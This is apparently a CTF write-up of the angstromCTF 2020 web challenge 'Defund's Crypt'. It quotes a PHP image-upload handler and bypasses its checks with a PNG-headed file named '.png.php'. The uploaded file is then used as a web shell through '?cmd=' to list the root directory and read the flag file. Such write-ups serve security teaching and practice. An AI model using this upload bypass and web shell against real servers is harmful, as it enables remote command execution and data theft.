# ▼▼▼Defund's Crypt(Web、120pts、304/1596=19.0％)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
`https://crypt.2020.chall.actf.co/src.php`
↓
```
Defund's Crypt
Defund's Crypto
1000000) {
throw new RuntimeException('People can only remember so much..');
}
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (false === $ext = array_search(
$finfo->file($_FILES['imgfile']['tmp_name']),
array(
'.jpg' => 'image/jpeg',
'.png' => 'image/png',
'.bmp' => 'image/bmp',
),
true
)) {
throw new RuntimeException("Your memory isn't picturesque enough to be
remembered.");
}
if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
throw new RuntimeException("The name of your memory doesn't seem to match its
content.");
}
$bname = basename($_FILES["imgfile"]["name"]);
$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]),
substr($bname, strpos($bname, ".")));
if (!move_uploaded_file(
$_FILES['imgfile']['tmp_name'],
"./memories/" . $fname
)) {
throw new RuntimeException('Your memory failed to be remembered.');
}
http_response_code(301);
header("Location: /memories/" . $fname);
} catch (RuntimeException $e) {
echo "
" . $e->getMessage() . "
";
}
}
?>
```
↓
```
if (false === $ext = array_search(
$finfo->file($_FILES['imgfile']['tmp_name']),
array(
'.jpg' => 'image/jpeg',
'.png' => 'image/png',
'.bmp' => 'image/bmp',
),
true
)) {
throw new RuntimeException("Your memory isn't picturesque enough to be
remembered.");
}
if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
throw new RuntimeException("The name of your memory doesn't seem to match its
content.");
}
```
↓
In order to pass this path, for example, `MMEType may be set to png` and `the
same extension name png` may be present in the file name.
↓
```
POST / HTTP/1.1
Host: crypt.2020.chall.actf.co
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryrDvxOBjItkRppQlH
Content-Length: 234
\------WebKitFormBoundaryrDvxOBjItkRppQlH
Content-Disposition: form-data; name="imgfile";
filename="hacker_white1.png.php"
Content-Type: image/png
?PNG
\------WebKitFormBoundaryrDvxOBjItkRppQlH--
```
↓
```
Location: /memories/0e2d1102b4a852aec56ebf7292db3400e9db253d.png.php
```
\---
`https://crypt.2020.chall.actf.co/memories/0e2d1102b4a852aec56ebf7292db3400e9db253d.png.php?cmd=ls%20/`
↓
```
?PNG ? bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run
sbin srv sys tmp usr var
```
\---
`https://crypt.2020.chall.actf.co/memories/0e2d1102b4a852aec56ebf7292db3400e9db253d.png.php?cmd=cat%20/flag.txt`
↓
`{actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}`